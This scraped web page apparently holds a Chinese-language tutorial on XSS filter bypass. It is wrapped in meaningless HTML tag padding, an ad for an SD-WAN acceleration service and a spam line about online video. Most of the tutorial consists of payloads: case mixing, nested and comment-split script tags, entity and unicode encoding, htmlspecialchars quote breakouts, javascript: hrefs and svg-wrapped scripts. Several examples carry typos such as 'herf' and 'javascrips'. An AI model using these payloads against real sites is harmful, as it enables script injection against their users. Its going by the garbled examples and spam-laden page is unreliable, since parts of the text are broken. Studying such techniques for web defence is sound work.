<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                合規國際互聯網加速 OSASE為企業客戶提供高速穩定SD-WAN國際加速解決方案。 廣告
                ## XSS之繞過技巧: 大多數網站為了避免xss的攻擊,對于攻擊者的輸入都采取了過濾的措施,導致攻擊者通常不能正常插入惡意代碼來達到攻擊目的。但是仍存在一些漏洞可以利用,來繞過過濾措施。 xss繞過的方法有許多,主要取決于攻擊者的思路和對前端技術的掌握,以下介紹幾個簡單的繞過方法。 ### 1)對前端的輸入字符數量限制 可以嘗試進行抓包重發或者修改前端的HTML中的長度限制。 ### 2)后臺對輸入的內容進行正則匹配來過濾輸入 對于這樣的過濾可以考慮大小寫混合輸入的方法。 ~~~ payload:<sCRipT>alert('你打籃球像boy')</sCrIPt> ~~~ ### 3)后臺對輸入的內容進行替換 采用拼拼湊的輸入方法。 ~~~ payload:<sc<script>ript>alert('你打籃球像boy')</scr<script>ipt> ~~~ ### 4)使用注釋來干擾后臺對輸入內容的識別。 ~~~ payload:<sc<!--test-->ript>alert('你打籃球像boy')</scr<!--tshauie-->ipt> ~~~ ### 5)編碼 思路:后臺有可能會對代碼中的關鍵字進行過濾,但我們可以嘗試將關鍵字進行編碼后在插入。(注意:編碼在輸出時是否會被正常識別和翻譯才是關鍵,不是所有的編碼都是可以的) 例1:一次編碼案例 ~~~ #使用事件屬性onerror()的原始payload: <img src=# onerror=alert('yangshuang')"/> #使用HTML_ENTITY編碼后的payload: <a src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/> ~~~ 例2:多次編碼案例解析如下編碼 ~~~ #原始payload <a herf="javascrips:alert(XSS)"> </a> #使用unicode的UTF-16編碼alert這個字符 <a herf="javascrips:\u0061\u006C\u0065\u0072\u0074(XSS)"> </a> #再用url編碼alert的中間結果 <a herf="javascrips:%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074(XSS)"> </a> #最后用html實體編碼,再編碼整個payload 太長了,略 ~~~ ### 6)htmlspecialchars()函數繞過: ~~~sh #該函數的語法: htmlspecialchars(string,flags,character-set,double_encode) #可用的quotestyle類型: ENT_COMPAT - 默認。僅編碼雙引號 ENT_QUOTES - 編碼雙引號和單引號 ENT_NOQUOTES - 不編碼任何引號 #預定義的字符是: & (和號) 成為 &amp " (雙引號) 成為 &quot ’ (單引號) 成為 &#039 < (小于) 成為 &lt > (大于) 成為 &gt ~~~ 過濾原理:htmlspecialchars() 函數把預定義的字符轉換為 HTML 實體,從而使XSS攻擊失效。但是這個函數默認配置不會將單引號和雙引號過濾,只有設置了quotestyle規定如何編碼單引號和雙引號才能會過濾掉單引號 ~~~ # 默認配置下,可使用以下語句繞過: q' onclick='alert(111)' ~~~ ### 7) href 繞過: 當輸入的值在 a 標簽 herf 里 ~~~ payload: javascript:alert(1111) ~~~ 直接代入 a 標簽 herf 里面,一樣可以繞過 htmlspecialchars()函數 ### 8)xss之js輸出繞過: 當目標是用JavaScript腳本輸出的,只需閉合原有的表情即可插入代碼 ~~~ payload:<script> $ms=' 11111111'</script><script>alert(1111)</script> ; ~~~ ### 9)標簽繞過 當輸入`< script >alert(XSS);</ script >`沒有反應的時候 可以再前邊加上`<svg>`, ~~~ <svg><script>alert(XSS);</script> ~~~ 當瀏覽器解析到`<svg>`標簽時,瀏覽器就開始使用一套新的標準開始解析后面的內容,直到碰到閉合標簽。而在這一套新的標準遵循XML解析規則,在XML中實體編碼會自動轉義,重新來一遍標簽開啟狀態,此時就會執行xss了。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看